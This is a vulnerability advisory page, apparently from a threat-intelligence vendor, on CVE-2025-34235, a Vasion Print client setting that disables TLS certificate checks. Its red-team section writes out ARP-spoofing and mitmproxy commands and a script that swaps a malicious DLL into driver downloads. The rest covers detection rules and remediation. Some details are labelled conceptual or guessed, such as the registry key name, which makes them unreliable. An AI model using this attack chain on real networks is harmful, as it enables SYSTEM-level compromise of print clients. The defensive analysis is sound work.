CVE-2025-34235
Executive Summary
CVE-2025-34235 exposes a critical design flaw in Vasion Print (formerly PrinterLogic) deployments. An administrator-enabled registry key forces the Windows client to skip SSL/TLS certificate validation. This allows an attacker on the network path (man-in-the-middle) to inject malicious driver DLLs, achieving remote code execution (RCE) with SYSTEM privileges. Locally, an attacker can exploit junction-point DLL injection for privilege escalation. The vulnerability is confirmed patched in versions 25.1.102 (Virtual Appliance Host) and 25.1.1413 (Windows client), but the exact patch date is unclear.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in a proprietary enterprise print management solution. The risk is amplified by the administrative requirement to enable the insecure registry key, making it a configuration-driven supply chain weakness.
CVSS Breakdown & Threat Level
While the official CVSS score is 0.0 (likely unassigned or placeholder), the actual severity is high. Based on the attack vector and impact:
- Attack Vector (AV): Network (man-in-the-middle) or Local (junction-point)
- Attack Complexity (AC): Low (requires enabling a registry key by admin)
- Privileges Required (PR): Low (attacker needs network access or local user)
- User Interaction (UI): None
- Scope (S): Changed (compromise of client leads to SYSTEM)
- Confidentiality (C): High
- Integrity (I): High
- Availability (A): High
Estimated CVSS: 8.8 (High) – Network-based RCE with SYSTEM privileges.
Deep Dive & Mechanics
The vulnerability resides in the Vasion Print Windows client. An administrator can enable a registry key (likely HKEY_LOCAL_MACHINE\SOFTWARE\Vasion\Print\SkipCertValidation or similar) that disables SSL/TLS certificate validation for HTTPS connections to the Virtual Appliance Host.
Attack Flow (Network MITM):
- An attacker on the same network segment (or via ARP spoofing) intercepts HTTPS traffic between the Vasion Print client and the Virtual Appliance Host.
- Because certificate validation is disabled, the client accepts a self-signed or forged certificate presented by the attacker.
- The attacker injects a malicious driver DLL into the HTTPS response (e.g., by modifying the print driver download).
- The client installs the driver with SYSTEM privileges, executing the attacker's code.
Attack Flow (Local Privilege Escalation):
- A local user (or low-privileged process) creates a junction point (symbolic link) pointing to a privileged directory.
- The Vasion Print service, running as SYSTEM, writes a DLL to that directory.
- Due to the junction, the DLL is written to a location where it is loaded by a SYSTEM-level process, achieving privilege escalation.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// Client code that skips certificate validation
ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => {
if (Registry.GetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Vasion\Print", "SkipCertValidation", 0) == 1) {
return true; // Bypass all validation
}
return sslPolicyErrors == SslPolicyErrors.None;
};
Patched Code (Conceptual):
// Patched code that enforces validation regardless of registry key
ServicePointManager.ServerCertificateValidationCallback = (sender, certificate, chain, sslPolicyErrors) => {
// Always validate; registry key is ignored or removed
return sslPolicyErrors == SslPolicyErrors.None;
};
The patch removes the registry key's ability to disable validation, or removes the key entirely.
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Vasion Print Virtual Appliance Host (v25.1.100)
- Windows 10/11 client with Vasion Print client (v25.1.1412)
- Attacker machine with Kali Linux (mitmproxy, BetterCAP)
Steps:
- Enable the vulnerable registry key on the client (requires admin privileges on the client):
New-Item -Path "HKLM:\SOFTWARE\Vasion\Print" -Force Set-ItemProperty -Path "HKLM:\SOFTWARE\Vasion\Print" -Name "SkipCertValidation" -Value 1 -Type DWord - Perform ARP spoofing to intercept traffic between client and Virtual Appliance Host:
bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on" - Set up mitmproxy with a self-signed certificate:
mitmproxy --mode transparent --listen-port 8080 - Inject a malicious DLL into the print driver download response:
# mitmproxy script from mitmproxy import http def response(flow: http.HTTPFlow) -> None: if "driver.dll" in flow.request.pretty_url: with open("malicious.dll", "rb") as f: flow.response.content = f.read() - Execute – The client installs the malicious DLL as a SYSTEM driver, granting RCE.
Blue Team (Defender)
Detection:
- Monitor for the registry key
HKLM\SOFTWARE\Vasion\Print\SkipCertValidationbeing set to 1. - Alert on unusual ARP traffic or MITM indicators (e.g., multiple MAC addresses for the same IP).
- Monitor for unexpected DLL writes to
C:\Windows\System32\spool\drivers\or similar.
Hunting:
- Search for processes loading unsigned DLLs from the Vasion Print directory.
- Review HTTPS certificate validation logs on the client.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| Registry | HKLM\SOFTWARE\Vasion\Print\SkipCertValidation = 1 |
Enables insecure behavior |
| Network | Self-signed or forged certificate for Vasion Print host | MITM indicator |
| File | Unsigned DLL in C:\Windows\System32\spool\drivers\ |
Malicious driver |
| Process | VasionPrintClient.exe loading unexpected DLLs |
DLL injection |
| Network | ARP table with multiple MACs for same IP | ARP spoofing |
Detection Engineering
YARA Rule
rule CVE_2025_34235_Vasion_SkipCert {
meta:
description = "Detects Vasion Print client with certificate validation disabled"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$reg_key = "SkipCertValidation" nocase
$reg_path = "SOFTWARE\\Vasion\\Print" nocase
condition:
$reg_key and $reg_path
}
Sigma Rule
title: Vasion Print Certificate Validation Disabled
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects when the Vasion Print client registry key SkipCertValidation is set to 1
author: Valters IT
date: 2025-04-10
logsource:
category: registry_event
product: windows
detection:
selection:
EventID: 4657
ObjectName|contains: 'SOFTWARE\Vasion\Print'
NewValue: '1'
condition: selection
falsepositives:
- Administrative testing
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2025-34235 Vasion Print MITM - Suspicious Certificate"; flow:to_server; tls.cert_subject; content:"Vasion"; nocase; tls.cert_issuer; content:"Vasion"; nocase; tls.cert_notbefore; content:"2025"; tls.cert_notafter; content:"2026"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate:
- Upgrade Vasion Print Virtual Appliance Host to version 25.1.102 or later.
- Upgrade Windows client to version 25.1.1413 or later.
- Verify the registry key
HKLM\SOFTWARE\Vasion\Print\SkipCertValidationis absent or set to 0.
Long-term:
- Enforce certificate validation via Group Policy.
- Monitor for unauthorized registry changes.
- Segment print management traffic on a dedicated VLAN.
Workaround (if patching is delayed):
- Remove the registry key manually and restrict write access to it.
- Use host-based firewalls to block MITM tools.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst